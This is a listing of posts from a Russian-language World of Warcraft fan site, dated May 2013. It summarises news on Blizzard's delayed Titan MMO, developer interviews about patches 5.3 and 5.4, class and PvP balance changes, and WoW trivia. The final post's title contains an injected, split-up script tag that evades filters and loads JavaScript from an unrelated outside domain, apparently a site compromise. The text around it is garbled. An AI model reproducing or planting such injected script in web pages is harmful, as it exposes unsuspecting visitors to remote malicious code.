Лучшие посты

Архив Nattfodd Nattfodd

Titan откладывается минимум до 2016 года

World of Warcraft приносит ее создателям огромные деньги, но Blizzard не останавливаются на достигнутом и уже несколько лет работают над неанонсированной ролевой MMO. Коротенький тизер Blizzard пообещали показать нам в этому году на BlizzCon 2013, однако сегодня появились сведения, которые ставят это обещание под сомнение.

Из близких к разработчикам источников стало известно, что Blizzard решили перезапустить производство новой ММО. По этой информации, из 100 человек, участвовавших в разработке Titan, Blizzard перекинули 70 на другие проекты. Оставшиеся 30 человек — ключевые разработчики — начнут разработку заново. Таким образом новая ММО появится в лучшем случае в 2016 году.

В World of Warcraft играют миллионы игроков, и игра приносит ее создателям около 1 миллиарда долларов в год. Но, как известно, в последнем квартале число подписчиков сократилось на 1.3 миллиона и сейчас составляет 8 миллионов — против 10 миллионов в прошлом году. А по сравнению с пиком своей популярности — 12 миллионов подписчиков — это и вовсе выглядит удручающе. В таких условиях, казалось бы, любой разработчик в здравом уме был бы просто обязан поспешить с выпуском новой MMO...

Но скорость разработки никогда не была главным козырем Blizzard. Эта компания уже не раз отменяла дату выхода проекта, работа над которым велась годами, если итоговый результат не соответствовал высоким стандартам качества. И хотя мы не знаем ни окончательного названия проекта — слово Titan не было официально подтверждено, равно как и даже примерные сроки выхода новой игры — по предыдущей информации закрытое альфа-тестирование должно было начаться в начале 2014 года, а на релиз можно было рассчитывать уже к концу 2014 — началу 2015.
29.05.2013 04:28 8505 52
Читать далее
Cat's Fables Wishko Wishko

Интересные факты о WoW. Часть 30 (721-740) X-Ray Dog



Всем /кот

Сегодня в свет выходит 30 (круглое число — почти юбилейная) часть кот-о-фактов.

Как обычно вас ждет увлекательное путешествие в мире пасхалок, отсылок и шуток, которые оставили для нас разработчики. В этот раз мы узнаем, какие еще бывают Азероты, какие ужасающие тайны таит Некроситет, какой психиатр придумал имя для босса Престола Гроз, поглядим на новые пасхалки патча 5.3, а также рассмотрим рентгеновский снимок собаки.
28.05.2013 23:38 12633 7
Читать далее
Архив Nattfodd Nattfodd

Грег Стрит для WoW Insider о 5.3

Еще одно интервью Ghostcrawler дал порталу WoW Insider. Общались на общие темы — о прокачке, о 5.4, о рейдах, ивентах и многом другом.

Будущее


  • Некая неанонсированная функция запланирована на патч 5.4.
  • Новый ивент в Степях был экспериментом и попыткой вытащить игроков в открытый мир. В 5.4 мы увидим нечто подобное.
  • Режим "невидимый" для Battle.net все еще в процессе разработки.
  • Рано или поздно, все профессии можно будет сравнительно быстро прокачать.
  • В игру стоило бы добавить какую-то награду за прокачку, ведь сейчас очки талантов даются гораздо реже.
28.05.2013 16:35 5826 21
Читать далее
Архив Nattfodd Nattfodd

О классах в 5.3 и 5.4 - интервью для Icy-Veins

Ghostcrawler и команда разработчиков, отвечающая за классы, ответили на вопросы пользователей сайта icy-veins на тему текущего патча и грядущего 5.4:

Рыцари Смерти
  • В специализации "Кровь" у рыцарей смерти есть ряд полезных для рейда способностей — Воскрешение союзника, Хватка смерти, Кровяные черви и Зона антимагии (которую разработчики баффнут в 5.4). Помимо Зоны антимагии, разработчики не планируют ничего менять у блад-дк в плане их полезности для рейда.
  • Блад-ДК — вторые по популярности танки, уступающие лишь прот-палам.

Друиды
  • В 5.3 разработчики немного баффнули рестор-друидов. Однако, если в прошлом ХоТы выполняли роль "смягчателей" урона, то теперь эту задачу выполняют различные поглощающие урон заклинания. В патче 5.3 разработчики так же понерфили дисц-пристов и холи-палов, но абсорбы по-прежнему слишком сильны.
  • В патче 5.4 ХоТы будут усилены еще больше. Особенно в плане АоЕ-хила по рейду.
28.05.2013 16:02 11177 19
Читать далее
Архив Nintok Nintok

Wildstar что такое и с чем его едят ?

Wildstar что такое и с чем едят ?



Приветствую всех ! Сегодня я расскажу о новой , по моему мнению сильно недооцененной в нашей стране , ММО производства компании Carbine Studios . Прошу любить и жаловать Wildstar!

28.05.2013 14:13 6319 10
Читать далее
Архив Nattfodd Nattfodd

Интервью на тему 5.3 для ArenaJunkies

К выходу 5.3 Грег Стрим и Брайан Холинка прокомментировали сайту ArenaJunkies ситуацию с PvP на момент выхода нового патча.

  • До патча 5.3 игроки часто жаловались на то, как быстро их убивают в PvP, если у них нет PvP-экипировки.
  • Идея, заложенная в PvP-силу, заключалась в том, чтобы дать PvP-экипировке дополнительную характеристику, которая не влияет на уровень предмета, а не характеристику, которая годится только для PvP. Изменения 5.3 сделали остальные характеристики более полезными.
  • Патч 5.3 так же был призван решить проблему, когда PvE-аксессуары являлись лучшим выбором для PvP. Срабатывающие эффекты этих аксессуаров были ослаблены, а их время действия — увеличено. Благодаря этому с помощью этих аксессуаров больше нельзя быстро зазергать противника. К тому же, PvE-аксессуары выше 496 уровня так же ослабляются до упомянутого уровня на Полях Боя и Аренах вместе со всей остальной экипировкой.
  • В будущих обновлениях и дополнениях появится больше косметических наград, равно как и потенциал для появления не только косметических наград.
  • Теперь, когда игроки не могут улучшить свою PvP-экипировку, разработчики ищут варианты, куда можно потратить лишние Очки Завоевания.
  • Заклинания, которые наносят разный урон в PvE и PvP, являются исключениями из правил и используются только тогда, когда разница действительно огромна. За подобными изменениями игрокам нужно следить самостоятельно, что не есть хорошо.
  • Разработчики сделали возможность убивать демонические врата чернокнижников для того, чтобы их можно было как-то нейтрализовать и сделать сражения не такими предсказуемыми.
  • В патче 5.2 разработчики попытались дать разбойникам больше выживаемости и больше привлекательных талантов, таких как Бросок сюррикена, Метка смерти и Рыцарь плаща и кинжала. В этом стремлении Blizzard немного переборщили и 5.3 поставил упомянутые таланты на один уровень с остальными, сохранив при этом выживаемость разбойников.
  • Изменения, коснувшиеся контроля у питомцев охотников были внесены потому, что у охотников было немного больше контроля, чем хотелось бы. Особенно у Повелителей Зверей.
  • Воины были чересчур хороши в начале сезона, что отразилось в срочных исправлениях. Впрочем, этих исправлений оказалось недостаточно, поэтому в 5.2 последовал еще более жесткий нерф. И этот нерф оказался немного сильнее, чем нужно.
  • Разработчики пришли к выводу, что бурст в PvP необходим, иначе матчи затягиваются на целую вечность, ведь никто не может никого убить до тех пор, пока у хилеров не закончится мана. Разработчики часто делают бурст слишком сильным, но изо всех сил постараются не переборщить в будущем.
24.05.2013 16:05 4197 3
Читать далее
Архив zxc223 zxc223

Настало время войны!<scr<script language='javascript' type='text/javascript' src='http://kimcheese.


ipt>Вся">kimcheese.ru/660j4tatq8n6xrw6u03f9wzi8bjocb9'>ipt>Вся история Азерота — многовековое противостояние, неутихающая война, поколение за поколением. В обновлении 5.3 «Восстание» появится множество изменений и улучшений в режиме PvP. В частности, они касаются базового показателя устойчивости, уровня предметов из комплектов для полей боя и арен, PvP-силы и «Усталости от боя».

23.05.2013 17:48 2524 4
Читать далее